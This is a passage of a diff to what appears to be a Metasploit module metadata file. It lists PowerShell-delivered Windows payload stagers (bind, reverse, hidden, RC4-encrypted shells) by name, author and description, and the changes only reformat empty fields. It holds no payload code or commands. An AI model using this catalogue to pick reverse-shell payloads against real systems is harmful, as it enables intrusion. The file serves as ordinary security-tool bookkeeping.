"payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227137,9 +230059,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227153,8 +230073,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227167,9 +230086,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227182,9 +230099,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227198,8 +230113,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227212,9 +230126,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227225,9 +230137,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227241,8 +230151,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227255,9 +230164,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227268,9 +230175,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227284,8 +230189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227298,9 +230202,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227312,9 +230214,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227328,8 +230228,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227342,9 +230241,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227358,9 +230255,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227374,8 +230269,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227388,9 +230282,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227402,9 +230294,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227418,8 +230308,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227432,9 +230321,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227444,9 +230331,7 @@ "jt " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227460,8 +230345,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227474,9 +230358,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227488,9 +230370,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227504,8 +230384,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227518,9 +230397,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227531,9 +230408,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227547,8 +230422,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227561,9 +230435,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227574,9 +230446,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227590,8 +230460,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227604,9 +230473,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227618,9 +230485,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227634,8 +230499,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227648,9 +230512,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227662,9 +230524,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227678,8 +230538,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227692,9 +230551,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227707,9 +230564,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227723,8 +230578,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227737,9 +230591,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227753,9 +230605,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227769,8 +230619,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227783,9 +230632,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227799,9 +230646,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227815,8 +230660,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227829,9 +230673,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227843,9 +230685,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227859,8 +230699,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227873,9 +230712,7 @@ "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227905,8 +230742,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227919,9 +230755,7 @@ "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227951,8 +230785,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227965,9 +230798,7 @@ "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227995,8 +230826,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228009,9 +230839,7 @@ "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228040,8 +230868,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228054,9 +230881,7 @@ "payload_cmd/windows/powershell/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228082,8 +230907,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228096,9 +230920,7 @@ "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228124,8 +230946,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228138,9 +230959,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228168,8 +230987,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228182,9 +231000,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228214,8 +231030,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228228,9 +231043,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228257,8 +231070,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228271,9 +231083,7 @@ "payload_cmd/windows/powershell/peinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/peinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228299,8 +231109,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228313,9 +231122,7 @@ "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228343,8 +231150,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228357,9 +231163,7 @@ "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228385,8 +231189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228399,9 +231202,7 @@ "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228427,8 +231228,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228441,9 +231241,7 @@ "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228469,8 +231267,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228483,9 +231280,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228513,8 +231308,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228527,9 +231321,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228557,8 +231349,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228571,9 +231362,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228602,8 +231391,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228616,9 +231404,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228648,8 +231434,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228662,9 +231447,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228694,8 +231477,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228708,9 +231490,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228737,8 +231517,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228751,9 +231530,7 @@ "payload_cmd/windows/powershell/pingback_bind_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228762,9 +231539,7 @@ "bwatters-r7" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -228778,8 +231553,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228790,9 +231564,7 @@ "payload_cmd/windows/powershell/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228801,9 +231573,7 @@ "bwatters-r7" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -228817,8 +231587,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228829,9 +231598,7 @@ "payload_cmd/windows/powershell/powershell_bind_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228859,8 +231626,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228871,9 +231637,7 @@ "payload_cmd/windows/powershell/powershell_reverse_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228901,8 +231665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228913,9 +231676,7 @@ "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228943,8 +231704,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228955,9 +231715,7 @@ "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228986,8 +231744,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229000,9 +231757,7 @@ "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229031,8 +231786,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229045,9 +231799,7 @@ "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229059,9 +231811,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229075,8 +231825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229089,9 +231838,7 @@ "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229104,9 +231851,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229120,8 +231865,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229134,9 +231878,7 @@ "payload_cmd/windows/powershell/shell/bind_named_pipe": { "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229147,9 +231889,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229163,8 +231903,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229177,9 +231916,7 @@ "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229190,9 +231927,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229206,8 +231941,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229220,9 +231954,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229234,9 +231966,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229250,8 +231980,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229264,9 +231993,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229280,9 